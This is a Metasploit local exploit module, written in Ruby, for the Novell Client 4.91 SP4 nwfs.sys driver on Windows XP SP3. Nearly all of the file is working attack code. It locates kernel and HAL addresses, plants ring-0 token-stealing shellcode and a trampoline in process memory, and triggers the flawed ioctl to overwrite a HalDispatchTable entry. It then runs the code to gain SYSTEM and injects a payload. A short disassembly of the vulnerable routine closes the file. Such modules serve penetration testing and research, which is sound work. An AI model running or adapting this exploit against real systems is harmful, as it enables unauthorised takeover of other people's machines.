314 lines
12 KiB
Ruby
314 lines
12 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class MetasploitModule < Msf::Exploit::Local
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Rank = AverageRanking
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',
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'Description' => %q{
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This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel
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space. The corruption occurs while handling ioctl requests with code 0x1438BB,
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where a 0x00000009 dword is written to an arbitrary address. An entry within the
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HalDispatchTable is overwritten in order to execute arbitrary code when
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NtQueryIntervalProfile is called. The module has been tested successfully on
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Windows XP SP3 with Novell Client 4.91 SP4.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Ruben Santamarta', # Vulnerability discovery and PoC
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'juan vazquez' # MSF module
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Targets' =>
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[
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# Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4
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[ 'Automatic', { } ],
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[ 'Windows XP SP3',
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{
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'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
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'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
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'_TOKEN' => "\xc8", # Offset to TOKEN from the _EPROCESS struct
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'_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct
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'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
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}
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]
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],
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'References' =>
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[
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[ 'OSVDB', '46578' ],
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[ 'BID', '30001' ]
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],
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'DisclosureDate'=> 'Jun 26 2008',
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'DefaultTarget' => 0
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}))
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end
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def open_device(dev)
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invalid_handle_value = 0xFFFFFFFF
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r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
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handle = r['return']
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if handle == invalid_handle_value
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return nil
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end
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return handle
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end
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def find_sys_base(drvname)
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results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
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addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*')
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addresses.each do |address|
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results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
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current_drvname = results['lpBaseName'][0..results['return'] - 1]
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if drvname == nil
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if current_drvname.downcase.include?('krnl')
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return [address, current_drvname]
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end
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elsif drvname == results['lpBaseName'][0..results['return'] - 1]
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return [address, current_drvname]
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end
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end
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return nil
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end
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def ring0_shellcode(t)
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restore_ptrs = "\x31\xc0" # xor eax, eax
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restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
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restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
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tokenstealing = "\x52" # push edx # Save edx on the stack
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tokenstealing << "\x53" # push ebx # Save ebx on the stack
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tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
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tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
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tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
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tokenstealing << "\x8b\xc8" # mov ecx, eax
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tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
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tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
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tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
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tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
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tokenstealing << "\x75\xe8" # jne 0000101e ======================
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tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
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tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
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tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
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tokenstealing << "\x5b" # pop ebx # Restores ebx
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tokenstealing << "\x5a" # pop edx # Restores edx
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tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
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ring0_shellcode = restore_ptrs + tokenstealing
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return ring0_shellcode
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end
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def fill_memory(proc, address, length, content)
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result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
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if not proc.memory.writable?(address)
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vprint_error("Failed to allocate memory")
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return nil
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else
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vprint_good("#{address} is now writable")
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end
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result = proc.memory.write(address, content)
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if result.nil?
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vprint_error("Failed to write contents to memory")
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return nil
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else
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vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
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end
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return address
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end
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def disclose_addresses(t)
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addresses = {}
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vprint_status("Getting the Kernel module name...")
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kernel_info = find_sys_base(nil)
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if kernel_info.nil?
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vprint_error("Failed to disclose the Kernel module name")
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return nil
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end
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vprint_good("Kernel module found: #{kernel_info[1]}")
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vprint_status("Getting a Kernel handle...")
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kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
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kernel32_handle = kernel32_handle['return']
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if kernel32_handle == 0
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vprint_error("Failed to get a Kernel handle")
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return nil
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end
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vprint_good("Kernel handle acquired")
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vprint_status("Disclosing the HalDispatchTable...")
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hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
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hal_dispatch_table = hal_dispatch_table['return']
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if hal_dispatch_table == 0
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vprint_error("Failed to disclose the HalDispatchTable")
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return nil
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end
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hal_dispatch_table -= kernel32_handle
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hal_dispatch_table += kernel_info[0]
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addresses["halDispatchTable"] = hal_dispatch_table
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vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
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vprint_status("Getting the hal.dll Base Address...")
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hal_info = find_sys_base("hal.dll")
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if hal_info.nil?
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vprint_error("Failed to disclose hal.dll Base Address")
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return nil
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end
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hal_base = hal_info[0]
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vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
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hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
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addresses["HaliQuerySystemInfo"] = hali_query_system_information
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vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
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return addresses
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end
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def exploit
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if sysinfo["Architecture"] == ARCH_X64
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fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
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end
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my_target = nil
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if target.name =~ /Automatic/
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print_status("Detecting the target system...")
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os = sysinfo["OS"]
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print_status("#{os.inspect}")
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if os =~ /windows xp/i
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my_target = targets[1]
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print_status("Running against #{my_target.name}")
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end
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else
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my_target = target
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end
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if my_target.nil?
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fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
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end
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print_status("Checking device...")
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handle = open_device("\\\\.\\nwfs")
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if handle.nil?
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fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found")
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else
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print_good("\\\\.\\nwfs found!")
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end
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print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
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@addresses = disclose_addresses(my_target)
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if @addresses.nil?
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
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else
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print_good("Addresses successfully disclosed.")
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end
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print_status("Storing the kernel stager on memory...")
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this_proc = session.sys.process.open
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kernel_shell = ring0_shellcode(my_target)
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kernel_shell_address = 0x1000
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result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
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if result.nil?
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
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else
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print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
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end
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print_status("Storing the trampoline to the kernel stager on memory...")
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trampoline = "\x90" * 0x20 # nops
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trampoline << "\x68" # push opcode
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trampoline << [0x1000].pack("V") # address to push
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trampoline << "\xc3" # ret
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trampoline_addr = 0x3
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result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
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if result.nil?
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Unknown, "Error while storing trampoline on memory")
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else
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print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
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end
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print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
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magic_ioctl = 0x1438BB
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ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)
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session.railgun.kernel32.CloseHandle(handle)
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print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
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result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
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print_status("Checking privileges after exploitation...")
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if not is_system?
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fail_with(Failure::Unknown, "The exploitation wasn't successful")
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else
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print_good("Exploitation successful!")
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end
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p = payload.encoded
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print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
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if execute_shellcode(p)
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print_good("Enjoy")
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else
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fail_with(Failure::Unknown, "Error while executing the payload")
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end
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end
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end
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=begin
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[*] Corruption
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.text:0005512E sub_5512E proc near ; CODE XREF: ioctl_handler_sub_2FE4C+295p
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.text:0005512E ; sub_405C4+29Bp
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.text:0005512E
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.text:0005512E ms_exc = CPPEH_RECORD ptr -18h
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.text:0005512E arg_0 = dword ptr 8
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.text:0005512E
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.text:0005512E push 8
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.text:00055130 push offset stru_79268
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.text:00055135 call __SEH_prolog
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.text:0005513A xor eax, eax
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.text:0005513C mov ecx, [ebp+arg_0]
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.text:0005513F mov ecx, [ecx+0Ch]
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.text:00055142 mov ecx, [ecx+60h]
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.text:00055145 mov ecx, [ecx+10h]
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.text:00055148 mov [ebp+ms_exc.registration.TryLevel], eax
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.text:0005514B mov dword ptr [ecx], 9 // Corruption
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=end
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